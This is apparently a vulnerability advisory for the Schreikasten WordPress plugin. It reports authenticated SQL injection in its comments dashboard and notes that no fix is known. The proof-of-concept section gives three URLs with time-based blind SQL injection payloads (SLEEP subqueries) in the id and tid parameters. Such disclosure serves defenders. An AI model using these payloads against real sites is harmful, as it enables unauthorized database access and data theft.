WordPress Plugin Vulnerabilities

Schreikasten <= 0.14.18 - Author+ SQL Injections

Description

The plugin does not sanitise or escape the id GET parameter before using it in SQL statements in the comments dashboard from various actions, leading to authenticated SQL Injections which can be exploited by users as low as author

Proof of Concept

https://example.com/wp-admin/edit-comments.php?page=skmanage&mode=edit&text&paged=1&mode_x=delete_x&id=6%20AND%20(SELECT%209304%20FROM%20(SELECT(SLEEP(5)))ghFg)

https://example.com/wp-admin/edit-comments.php?page=skmanage&mode=tracking&text&paged=1&mode_x=delete_x&id=7&tid=6%20AND%20(SELECT%209304%20FROM%20(SELECT(SLEEP(5)))ghFg)

https://example.com/wp-admin/edit-comments.php?page=skmanage&mode&text&paged=1&mode_x=set_black_x&id=2%20AND%20(SELECT%20614%20 FROM (SELECT(SLEEP(5)))ewlo)

Affects Plugins

No known fix

References

Classification

Type
SQLI
OWASP top 10
CWE
CVSS

Miscellaneous

Original Researcher
Shreya Pohekar of Codevigilant Project
Verified
Yes

Timeline

Publicly Published
2021-10-07 (about 2 years ago)
Added
2021-10-07 (about 2 years ago)
Last Updated
2022-04-12 (about 2 years ago)

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